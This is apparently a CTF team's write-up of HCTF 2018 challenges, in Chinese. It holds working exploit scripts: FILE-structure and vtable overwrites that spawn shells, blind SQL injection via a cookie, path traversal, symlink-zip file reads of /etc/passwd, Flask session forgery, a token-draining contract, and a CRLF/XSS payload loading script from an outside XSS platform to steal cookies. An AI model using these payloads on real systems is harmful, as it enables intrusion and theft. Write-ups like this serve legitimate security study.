HCTF 2018 Writeup

Bin

[Pwn] the end

Description 
where is the end? 
nc 150.109.44.250 20002 
nc 150.109.46.159 20002
URL http://phx0fp4pe.bkt.clouddn.com/the_end_890eb79d67925bd059ffb9ba60697f4d19cc2bbd923f474b2a84daaa22e59068.zip
Base Score 1000.00
Now Score 298.34
Team solved 46

利用程序exit()的时候会调用IO_flush_all_lockp对文件流进行操作
修改io_list_all连接的stdout:

修改其io_write_ptr>io_write_base(一次机会)

修改其vtable指针的低第二位为vtable_bit(改了以后vtable指向的区域中的overflow函数高5字节和one_gadget中的高五字节相同,通过动态调试找到这块区域)

然后利用剩下的三次机会覆写vtable新指向区域的overflow函数的低三位时overflow函数被覆写为one_gadget

正好用掉五次机会,可以getshell,本地不知道为什么总是got EOF
在远程getshell后因为输出流被关闭了,通过 cat flag>&0读取flag

脚本:

from pwn import *
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
f=process("./the_end")
#f=remote("150.109.44.250",20002) 
#f.sendlineafter("token:","xvwf9gDfpWykWdYjxFLd0m5Oqyuf4IxC")
f.recvuntil("gift 0x")
libc_base=int(f.recv(12),16)-libc.symbols['sleep']
io_list_all=libc_base+libc.symbols['_IO_list_all']
_io_write_ptr=io_list_all+0x100+0x28
log.info("libc_base: "+hex(libc_base))
log.info("IO_list_all: "+hex(io_list_all))
log.info("stderr: "+hex(io_list_all+0x20))
log.info("_io_write_ptr:"+hex(_io_write_ptr))

vtable=io_list_all+0x100+0xd8
vtable_value=io_list_all-0x140
log.info("vtable is:"+hex(vtable_value))
overflow=vtable_value+0x18
vtable_bit=int(hex(vtable_value)[-4:-2],16)
one_gadget=libc_base+0xf02a4
log.info(hex(vtable_value))
bit_1=int(hex(one_gadget)[-2:],16)
bit_2=int(hex(one_gadget)[-4:-2],16)
bit_3=int(hex(one_gadget)[-6:-4],16)
payload=p64(overflow)+p8(bit_1)+p64(overflow+1)+p8(bit_2)+p64(overflow+2)+p8(bit_3)+p64(_io_write_ptr)+"\x11"+p64(vtable+1)+p8(vtable_bit)
f.sendlineafter(";)\n",payload)
f.interactive()

在执行One_gadget的时候
getshell后通过cat flag>&0 得到flag

[Pwn] baby printf ver2

Description 
baby printf comes again :) 
nc 150.109.44.250 20005 
nc 150.109.46.159 20005
URL http://phx0fp4pe.bkt.clouddn.com/babyprintf_ver2_99aaef89552b3713c7dc756f96475b9bdd6c6558f5ba44572bde923f33a30f23.zip
Base Score 1000.00
Now Score 480.42
Team solved 19

glibc库版本 ubuntu 2.27
vtable函数不可以覆写
题目中可以写入510个字节,其中可以覆盖stdout结构体

第一步:泄露libc地址

printf格式化字符串漏洞利用,%a泄露libc地址,(%a出错会泄露libc中dl_catch_error函数的地址)

第二步: 泄露栈地址

通过修改stdout结构中的缓冲区指针(write_ptr=environ+8,write_base=environ,write_end=environ+8)实现任意地址读读取environ变量

第三步: 计算返回地址偏移

动态调试在printf_chk函数处下断点找出environ中保存的栈变量和调用printf_chk函数时返回地址的偏移

第四步:修改返回地址为one_gadget

通过修改stdout结构中的缓冲区指针(io_write_base=io_write_ptr=return_addr,io_write_end=return_addr+8)实现任意地址写覆写printf_chk函数的返回值为one_gadget
莫名奇妙本地的三个one_gadget都不能用,但是远程的可以用
然后cat flag读取flag

ps:构造的时候Lock函数的地址有要求,不然会造成出错
exp:

from pwn import *

_IO_USE_OLD_IO_FILE = False
_BITS = 64

def _u64(data):
    return struct.unpack("<Q",data)[0]

def _u32(data):
    return struct.unpack("<I",data)[0]

def _u16(data):
    return struct.unpack("<H",data)[0]

def _u8(data):
    return ord(data)

def _usz(data):
    if _BITS == 32:
        return _u32(data)
    elif _BITS == 64:
        return _u64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _ua(data):
    if _BITS == 32:
        return _u32(data)
    elif _BITS == 64:
        return _u64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _p64(data):
    return struct.pack("<Q",data)

def _p32(data):
    return struct.pack("<I",data)

def _p16(data):
    return struct.pack("<H",data)

def _p8(data):
    return chr(data)

def _psz(data):
    if _BITS == 32:
        return _p32(data)
    elif _BITS == 64:
        return _p64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _pa(data):
    if _BITS == 32:
        return struct.pack("<I", data)
    elif _BITS == 64:
        return struct.pack("<Q", data)
    else:
        print("[-] Invalid _BITS")
        exit()

class _IO_FILE_plus:
    def __init__(self):
        self._flags = 0x00000000fbad2887         # High-order word is _IO_MAGIC; rest is flags.
        self._IO_read_ptr = 0x61   # Current read pointer
        self._IO_read_end = 0x602500   # End of get area
        self._IO_read_base = 0x602500  # Start of putback+get area
        self._IO_write_base =  2 # Start of put area
        self._IO_write_ptr = 1  # Current put pointer
        self._IO_write_end = 0x7ffff7a52380  # End of put area
        self._IO_buf_base = 0x602600   # Start of reserve area
        self._IO_buf_end = 0x602601    # End of reserve area

        # The following fields are used to support backing up and undo.
        self._IO_save_base = 0      # Pointer to start of non-current get area
        self._IO_backup_base = 0    # Pointer to first valid character of backup area
        self._IO_save_end = 0       # Pointer to end of non-current get area

        self._markers = 0
        self._chain = 0

        self._fileno = 0
        self._flags2 = 0
        self._old_offset = 0    # This used to be _offset but it's too small

        # 1+column number of pbase(); 0 is unknown
        self._cur_column = 0
        self._vtable_offset = 0
        self._shortbuf = 0

        self._lock = 0x602800

        if not _IO_USE_OLD_IO_FILE:
            self._offset = 0
            self._codecvt = 0
            self._wide_data = 0
            self._freeres_list = 0
            self._freeres_buf = 0
            self.__pad5 = 0
            self._mode = 0
            self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
        self.vtable = 0x602168

    def tostr(self):
        buf = _p64(self._flags & 0xffffffff) + \
            _pa(self._IO_read_ptr) + \
            _pa(self._IO_read_end) + \
            _pa(self._IO_read_base) + \
            _pa(self._IO_write_base) + \
            _pa(self._IO_write_ptr) + \
            _pa(self._IO_write_end) + \
            _pa(self._IO_buf_base) + \
            _pa(self._IO_buf_end) + \
            _pa(self._IO_save_base) + \
            _pa(self._IO_backup_base) + \
            _pa(self._IO_save_end) + \
            _pa(self._markers) + \
            _pa(self._chain) + \
            _p32(self._fileno) + \
            _p32(self._flags2) + \
            _p64(self._old_offset) + \
            _p16(self._cur_column) + \
            _p8(self._vtable_offset) + \
            _p8(self._shortbuf)
        if _BITS == 64:
            buf += _p32(0)
        buf += _pa(self._lock)
        if not _IO_USE_OLD_IO_FILE:
            buf += \
            _p64(self._offset) + \
            _pa(self._codecvt) + \
            _pa(self._wide_data) + \
            _pa(self._freeres_list) + \
            _pa(self._freeres_buf) + \
            _psz(self.__pad5) + \
            _p32(self._mode) + \
            ''.join(map(lambda x:_p8(x), self._unused2)) +\
            _pa(self.vtable)
        return buf

    def __str__(self):
        return self.tostr()



local=0
if local:
    libc_base=-0x5158
    f=gdb.debug("./ccc")
    #f=process("./ccc", env={"LD_PRELOAD":"./libc1.so"})
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
    #libc=ELF("libc1.so")
else:
    libc_base=-0x50e8
    #f=process("./ccc", env={"LD_PRELOAD":"./libc1.so"})
    f=remote("150.109.44.250",20005)
    libc=ELF("libc1.so")
    f.sendlineafter("token:","xvwf9gDfpWykWdYjxFLd0m5Oqyuf4IxC")
f.recvuntil("location to 0x")
hello_addr=int(f.recv(12),16)
f.sendlineafter("fun!\n","%a")
f.recvuntil("0x0.0")
libc_base+=int(f.recv(12),16)
log.info("printf:"+hex(hello_addr-0x202010+0x6a0))
io_list_all=libc_base+libc.symbols['_IO_list_all']
#environ=0x1ba098
environ=0x3ee098
s=_IO_FILE_plus()
s._IO_read_base=libc_base+environ
s._IO_read_ptr=libc_base+environ
s._IO_read_end=libc_base+environ
s._IO_write_base=libc_base+environ
s._IO_write_ptr=libc_base+environ+8
s._IO_write_end=libc_base+environ+8
s._IO_buf_base=libc_base+environ
s._IO_buf_end=libc_base+environ
s.vtable=0x1b42a0+libc_base
s._chain=0
s._fileno=1
if local:
    s._lock=0x7ffff7f9a8c0-0x7ffff7de1000+libc_base  #need to change
else:
    s._lock=libc_base+0x3ed8c0
a=s.tostr()
f.sendlineafter("p-1022","\x11"+"a"*15+p64(hello_addr+0x18)+a)
f.recvuntil("permitted!\n")
stack_addr=u64(f.recv(6).ljust(8,'\0'))
log.info("stack_addr"+hex(stack_addr))
log.info("hello_addr: "+hex(hello_addr))
log.info("libc_addr: "+hex(libc_base))
log.info("_IO_list_all: "+hex(libc_base+libc.symbols['_IO_list_all']))

s._IO_read_base=stack_addr-0x310
s._IO_read_ptr=stack_addr-0x310
s._IO_read_end=stack_addr-0x310
s._IO_write_base=stack_addr-0x310
s._IO_write_ptr=stack_addr-0x310
s._IO_write_end=stack_addr-0x310+6
s._IO_buf_base=stack_addr-0x310
s._IO_buf_end=stack_addr-0x310
a=s.tostr()
if local:
    one_gadget=libc_base+0x4345e
    #one_gadget=libc_base+0x434b2
else:
    one_gadget=libc_base+0x4f2c5
    #one_gadget=libc_base+0x4f322
    #one_gadget=libc_base+0x10a38c
log.info(hex(one_gadget))

f.sendline(p64(one_gadget)*2+p64(hello_addr+0x18)+a)
f.interactive()

[Rev] LuckyStar☆

Description 
Lucky channel!
backup: https://hctf-1253126740.cos.ap-hongkong.myqcloud.com/LuckyStar.exe
URL https://mega.nz/#!6m4kHCIA!HaNLmfENJJ0Z_TKsX8Q7rWKJblP-m3dIjgcDYH-QYSk
Base Score 1000.00
Now Score 432.97
Team solved 24

先运行一下,发现会先播放一段语音才是输入flag的阶段

试着调试,发现有反调试

IDA看TlsCallback函数

clip_image002.png

这部分用于获取并调用ntdll的ZwQuerySystemInformation ZwSetInformationThread和CheckRemoteDebuggerPresent三个函数

clip_image004.png
clip_image006.png

这部分是进程名检测

clip_image008.png

这里调用了以0x61616161作为固定种子的srand,下面用rand()%8216作为下标与417000的数组(其实是那段音频)还原main函数

这里我先试着patch了检测函数,但是程序似乎有校验和的检测,patch了几个函数都不行

转换一下思路,先还原main函数

clip_image010.png
clip_image012.png

main的主要逻辑,先create了一个playsound的thread,等待播放完后还是以刚刚还原main函数的方法还原4015E0的函数,然后输入flag,以4015E0的函数计算flag后与403520和403530的32个byte比较

于是先试着还原4015E0,这里虽然程序有反调但是我用windbg可以attach上去断,直接提取SMC后的内存结果

clip_image014.png
clip_image016.png

主要逻辑1,对输入先做了base64

clip_image018.png

然后分别与四个rand()%4组成的一个字节异或

这里我首先想到的是按照刚刚的逻辑,rand在解密前一共调用了440+383次(用于两次SMC)

但尝试从第441次rand开始解密4015E0并不对,猜想可能是srand换过种子或者是中间还调用了其他rand,但IDA的xref并没有其他地方有调用,可能是经过了另一次SMC或者是通过函数指针直接按照导入表的偏移量调用。

于是先假设srand不变,写一个程序,以0x61616161作为种子,因为我已经有4015E0函数SMC前后的代码,因此两段数据异或后对应byte_417000[rand()%8216]应该是相等的,可以以此作为判断条件匹配到对4015E0进行SMC的随机数,然后打印出从对4015E0 SMC结束后的128位随机数

        int main()
        {
            srand(0x61616161);
            long long sum = 0;
            int tmp;
            
            for(sum; sum<440; sum++)
            {
                tmp = hexData[rand() % 8216] ^ mainData[sum];
                if( tmp != mainfunc[sum] )
                {
                    printf("--");
                    break;
                }
            }
        
            while(1)
            {
                int flag = 1;
                int i = 0;


                while(1)
                {
                    tmp = hexData[rand() % 8216] ^ funcData[i];
                    sum++;
                    if(tmp == funcfunc[i] )
                        break;
                }
    
                i++;
                for (i; i < 383; i++)
                {
                    tmp = hexData[rand() % 8216] ^ funcData[i];
                    sum++;
                    if (tmp != funcfunc[i])
                    {
                        flag = 0;
                        break;
                    }
                }
                if(flag)
                {
                    printf("%lld\n",sum);
                    break;
                }
            }
    
            for(int i = 0; i < 128; i++)
            {
                printf("0x%x, ",rand());
            }
    
            return 0;
        }

运行结果如下,rand中间执行了6亿多次 (

clip_image020.jpg

生成key的脚本如下,程序的base64把标准base64的大小写字母替换了,懒得写程序直接手动转了 (

        import base64
    
        a = [0x49, 0xE6, 0x57, 0xBD, 0x3A, 0x47, 0x11, 0x4C, 0x95, 0xBC, 0xEE, 0x32, 0x72, 0xA0, 0xF0, 0xDE, 0xAC, 0xF2, 0x83, 0x56, 0x83, 0x49, 0x6E, 0xA9, 0xA6, 0xC5, 0x67, 0x3C, 0xCA, 0xC8, 0xCC,0x05]
    
        b = [0x59c4, 0x124, 0xb5a, 0x29a4, 0x1e32, 0x7fb4, 0x5560, 0x7eb5, 0x78d4, 0x88f, 0x7dc6, 0x14d9, 0x7faa, 0x3288, 0x75ab, 0x3801, 0x30f1, 0x1cb8, 0x524c, 0x10c4, 0x19f4, 0x4a0c, 0x4a7a, 0x7c01, 0x6025, 0x5600, 0x284c, 0x5c6, 0x606c, 0x66a9, 0x311, 0xb70, 0x58bf, 0x7ff9, 0x5588, 0x4914, 0x4ff3, 0x1c3f, 0x4454, 0x561e, 0x2fd2, 0x2ded, 0x28aa, 0x5538, 0x456d, 0x6e9e, 0x334d, 0x5b6e, 0x1bb4, 0x1f57, 0x3bbc, 0x528f, 0x6443, 0x1e0d, 0xfa9, 0x5ad6, 0x627f, 0x7468, 0x56ae, 0x6fc9, 0xce2, 0x43c7, 0x5e3c, 0x5462, 0x5893, 0x3284, 0x61d4, 0xa6d, 0x633a, 0x3e79, 0x2379, 0x5931, 0x6f12, 0x18c3, 0x6865, 0x2752, 0x6540, 0x6ec5, 0x2dfb, 0x2bf6, 0x5263, 0x4470, 0x2afd, 0x3b27, 0x116c, 0x43c2, 0x70ff, 0x3179, 0x18b0, 0x258d, 0x421b, 0x42ec, 0x1d3b, 0x177a, 0x6ee7, 0x3113, 0x67, 0x434d, 0x50a4, 0x2c76, 0x3bae, 0x5b6b, 0x33b8, 0x6536, 0x3ebd, 0x5099, 0x465f, 0xeef, 0x73c9, 0x1506, 0x5f9d, 0x5be2, 0x5e26, 0x108c, 0x3277, 0x3354, 0x716, 0x2a33, 0x4162, 0x2731, 0x2cdf, 0xaf7, 0x25fc, 0x6cf5, 0x6820, 0x7dcb, 0xfa, 0x5dcc]
    
        ret = []
        for i in xrange(32):
            tmp = 0
            for j in xrange(4):
                tmp = tmp | ( (b[i*4+j]%4)<<(6-2*j) )
            res = tmp ^ a[i]
            ret.append( chr(res) )
    
        c = "".join(ret)
    
        #print base64.b64decode(c)
    
        d = "Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq=="
        d = "aGN0ZnsxenVtaV9LMG5hdDRfTW8zfQ=="
        print base64.b64decode(d)

flag: hctf{1zumi_K0nat4_Mo3}

Blockchain

bet2Loss

Description 
0x006b9bc418e43e92cf8d380c56b8d4be41fda319 for ropsten and open source 
D2GBToken is onsale. Now New game is coming.
We’ll give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get flag.
URL http://bet2loss.2018.hctf.io
Base Score 1000.00
Now Score 735.09
Team solved 5

主要利用点在于settleBet函数内的AirdropCheck(),因为这里没有限制,任意玩家都可以进行调用,所以可以部署大量子合约薅羊毛

reveal的值可以直接在owner发送的开奖交易中读到,因为只要在锁定的区块前调用都是有效的,所以每个reveal都可以多次使用,直接拿来用就行

下面是部署的攻击合约

contract attack{
    function pwnit(uint reveal){
        for (uint i=0;i<50;i++){
            new childcontract(reveal);
        }
    }
}

contract childcontract{
    Bet2Loss target=Bet2Loss(0x006b9bc418e43e92cf8d380c56b8d4be41fda319);
    constructor(uint reveals) {
        target.settleBet(reveals);
        target.transfer(0x6b477781b0e68031109f21887e6b5afeaaeb002b,1000);
    }
}

为了追求效率,写了个脚本来发送交易

var Web3 = require("web3");
var web3 = new Web3();
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io"));

web3.eth.accounts.wallet.add(private key);
web3.eth.defaultAccount=web3.eth.accounts.wallet[0].address;

var abi=[{"constant":false,"inputs":[{"name":"reveal","type":"uint256"}],"name":"pwnit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}];

var address='0xded35c6362a8f1802650106eed672ffcc3448c7d';
var attack=new web3.eth.Contract(abi,address);

nonces=your start nonce
for (var i = 0; i <30; i++) {
    attack.methods.pwnit(the reveal).send({from:'your account address',nonce:nonces,gas:6000000,gasPrice:55000000000}).catch(new Function());
    nonces=nonces+1;
}

每次更新下reveal和nonce的值即可,因为消耗的gas接近600万,所以一个块只能包含一笔这样的交易,一笔可以增加5万token,差不多得200笔交易,还是要跑一段时间

ez2win

Description 
0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef for ropsten
D2GBToken is onsale. we will airdrop each person 10 D2GBTOKEN. You can transcat with others as you like.
only winner can get more than 10000000, but no one can do it.
function PayForFlag(string b64email) public payable returns (bool success){

    
    require (_balances[msg.sender] > 10000000);

      emit GetFlag(b64email, "Get flag!");

  }

hint1:you should recover eht source code first. and break all eht concepts you've already hold 
hint2: now open source for you, and its really ez
URL http://example.com
Base Score 1000.00
Now Score 527.78
Team solved 15

给了源码以后非常简单,其中的_transfer函数直接暴露在外,本来应该是个private函数,所以这里面没有任何身份校验,直接在from填入owner,to填入自己的address,value满上即可满足条件

Crypto

xor

Description 
This is an English poem, but it is encrypted. Find the flag and restore it (also you can just submit the flag).
http://img.tan90.me/xor_game.zip
URL http://img.tan90.me/xor_game.zip
Base Score 1000.00
Now Score 138.66
Team solved 98

脚本如下

#coding:utf-8
fname = "hctf_cipher.txt" #base64解码转hex结果
f = open(fname, "r")
data = f.read().strip()
enc = data.decode("hex")
f.close()
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,.;?!: "
def getKeyLen(cipherText): # 获取密钥长度
    keylength = 1
    maxCount = 0
    for step in range(3,40): # 循环密钥长度
        count = 0
        for i in range(step,len(cipherText)-step):
            if cipherText[i] == cipherText[i+step]: 
                 count += 1
        if count>maxCount:  # 每次保存最大次数的密钥长度
            maxCount = count 
            keylength = step
    return keylength # 返回密钥长度

lens=getKeyLen(enc)

def rxor(text, key):
    dec = [chr(ord(text[i]) ^ ord(key[i % len(key)])) for i in range(0, len(text))]
    return "".join(dec)

def textToList(text,length): # 根据密钥长度将密文分组
    textMatrix = []
    row = []
    index = 0
    for ch in text:
        row.append(ch)
        index += 1
        if index % length ==0:
            textMatrix.append(row)
            row = []
    return textMatrix

def get_score(text): # 获取在范围里的字符占总字符比例
    s = 0
    for l in text:
        if (l in charset):
            s += 1

    return (s*1.0)/len(text)

clists=textToList(enc,lens)
keys=[0]*lens

for i in xrange(lens): #获取密钥
    b=[row[i] for row in clists]
    d={}
    for key in range(0, 255):
        dec = "".join([chr(ord(c)^key) for c in b])
        d[key] = (get_score(dec))
    keys[i]=sorted(d.items(), key=lambda d: d[1], reverse=True)[0][0]

key = "".join([chr(c) for c in keys])
print "key length: "+str(lens)
flag=''
for x in keys:
    flag+=chr(x)
print "flag :",flag
print "message: "+rxor(enc, key)

Web

Warmup

Description 
warmup
URL http://warmup.2018.hctf.io
Base Score 1000.00
Now Score 10
Team solved 266

http://warmup.2018.hctf.io/index.php?file=source.php 源码

phpmyadmin-4.8.1那个洞,payload:
http://warmup.2018.hctf.io/index.php?file=hint.php?/../../../../ffffllllaaaagggg

kzone

Description 
A script kid’s phishing website
URL http://kzone.2018.hctf.io
Base Score 1000.00
Now Score 361.29
Team solved 34

http://kzone.2018.hctf.io/www.zip 拿到源码

1541950747796.png

在member.php有cookie注入,而且每个页面都包含了member.php

通过json_decode+php弱类型可以绕过登录鉴权admin,然后以这个来做标记来bool注入

#coding:utf-8
import requests

url = "http://kzone.2018.hctf.io/admin/list.php"
cookies = {
    "_ga": "GA1.2.1556483061.1541786955",
    "_gid": "GA1.2.140952073.1541786955",
    "PHPSESSID": "72m84deran77afu36is1dbi3k7",
    "islogin": "1"
}
#payload1 = '''{{"admin_user":"admin'and(select(locate('{}{}',(select(group_concat(database_name))from(mysql.innodb_table_stats)))))and'1","admin_pass":65}}'''
#payload2 = '''{{"admin_user":"admin'and(select(locate('{}{}',(select(group_concat(database_name))from(mysql.innodb_table_stats)))^1))and'1","admin_pass":65}}'''
#payload1 = '''{{"admin_user":"admin'and(select(locate('{}{}',(select(group_concat(table_name))from(mysql.innodb_table_stats)))))and'1","admin_pass":65}}'''
#payload2 = '''{{"admin_user":"admin'and(select(locate('{}{}',(select(group_concat(table_name))from(mysql.innodb_table_stats)))^1))and'1","admin_pass":65}}'''
payload1 = '''{{"admin_user":"admin'and(select(locate('{}{}',(select(f1a9)from(F1444g)))))and'1","admin_pass":65}}''' #字段名是试出来的
payload2 = '''{{"admin_user":"admin'and(select(locate('{}{}',(select(f1a9)from(F1444g)))^1))and'1","admin_pass":65}}'''
get = ""

for i in xrange(50):
    for j in xrange(32, 127):
        data = payload1.format(get, chr(j))
        cookies["login_data"] = data
        r = requests.get(url, cookies = cookies)
        if "Fish" in r.content:
            data = payload2.format(get, chr(j))
            cookies["login_data"] = data
            r = requests.get(url, cookies = cookies)
            if "Fish" not in r.content:
                get += chr(j)
                print get
                break

1541949258357.png

admin

Description 
ch1p want to have new notes,so i write,hahaha
URL http://admin.2018.hctf.io
Base Score 1000.00
Now Score 327.52
Team solved 40

源码泄露
1541951192336.png

找到了一篇文章,看下
https://labs.spotify.com/2013/06/18/creative-usernames/

注意到
1541951251296.png
1541951304337.png
1541951316820.png

想到两次“编码”绕过,找一下(注意题目环境是twisted==10.2.0,高版本已经修复)
1541952743069.png

OK,拿去注册,会被“解码”一次,再在改密码的时候,再“解码”一次,这时候我们改的就是admin的密码了。登录拿到flag
1541952190228.png

hide and seek

Description 
only admin can get it update1/更新1: 1. fix bugs 2. attention: you may need to restart all your work as something has changed hint: 1. docker 2. only few things running on it update2/更新2: Sorry,there are still some bugs, so down temporarily. update3/更新3: fixed bug
URL http://hideandseek.2018.hctf.io
Base Score 1000.00
Now Score 424.63
Team solved 25

1541953265758.png

想到zip文件打包软连接上传,任意文件读取

ln -s /etc/passwd test
zip -y test.zip test

1541953658999.png

hint说是docker,读了一下start.sh和run.sh,发现是我用过的docker,镜像名是:tiangolo/uwsgi-nginx-flask

那么先轻车熟路读一下/app/main.py,发现是默认的py而不是源码

1541954573356.png

所以再读/proc/self/environ,读到了uwsgi.ini的路径

1541955387555.png

再读uwsgi.ini,就读到了main.py的位置

1541954979297.png

看了下源码,sercet_key可预测,读/sys/class/net/eth0/address拿到种子

1541955150568.png

又读了下index.html模板,知道只要是admin就可以拿到flag,所以获得sercet_key后伪造session,利用工具:

https://github.com/noraj/flask-session-cookie-manager

bottle

Description 
Not hard, I believe you are the lucky one!
hint1: */3 */10 
hint2: bot use firefoxDriver
URL http://bottle.2018.hctf.io
Base Score 1000.00
Now Score 556.09
Team solved 13

登录时发现有个302跳转,url为

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io/user

直接访问能够跳转到

http://bottle.2018.hctf.io/user

同时注意到响应头中有Transfer-Encoding: chunked,联想到php前段时间的bug,post请求包含有上述http头时会产生xss问题,猜测通过交给bot访问能进行xss,于是构造payload:

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:23/%0d%0a%0d%0a%3Cscript%20src%3dhttp://xsspt.com/1ECMFR?1541913080%3E%3C/script%3E

在xss平台成功收到cookie,用收到的cookie登录网站,在首页显示出flag

image395527f2c5d3f932.png

Game

Description 
crazy inject 
flag.php was moved to web2/flag.php
URL http://game.2018.hctf.io
Base Score 1000.00
Now Score 607.15
Team solved 10

题目注册以后可以根据No,sex,score来排序,而且order参数可控,初步想能不能进行SQL注入,但是在之后的测试中发现SQL注入不可行,猜测表中有password字段,将order参数设置为password,发现确实是有这个字段的

想到如果password是明文的时候可以通过排序来判断字符所在的范围,在自己的mysql中测试如下:

807fc5e57f79b9e6d511dd3463099130.png

发现mysql在进行order by排序的时候是根据ascii码值一位一位进行判断的,如果这一位的值相同,则继续比较下一位,并且在前几位相同的情况下,长度长的在上,长度小的在下

这样的话我们就可以通过构造密码为a,b,c....这样的用户来排序

9c4d80380c153b495103951b60fdc262.png

其中flightg密码为g,flightf密码为f

那么推断flight用户的密码第一位为f

而flight用户的密码正是:flight

所以可以证明这种方式可行,编写脚本一位一位跑出来admin的密码

import requests
import string

url = 'http://game.2018.hctf.io/web2/action.php?action=reg';
data = {'username':'flight_dsa8&&{payload}aasd','password':'dsa8&&{payload}','sex':'1','submit':'submit'}
payload = {'username':'flight_dsa8&&{payload}aasd','password':'dsa8&&{payload}','sex':'1','submit':'submit'}
chars = string.printable
print chars
for i in chars:
    data['username'] = payload['username'].format(payload=i)
    data['password'] = payload['password'].format(payload=i)
    res = requests.post(url,data)
    print res.content

最后得到的admin的密码为:dsa8&&!@#$%^&d1ngy1as3dja

tagged by none  

Comment Closed.

© 2014 ::L Team::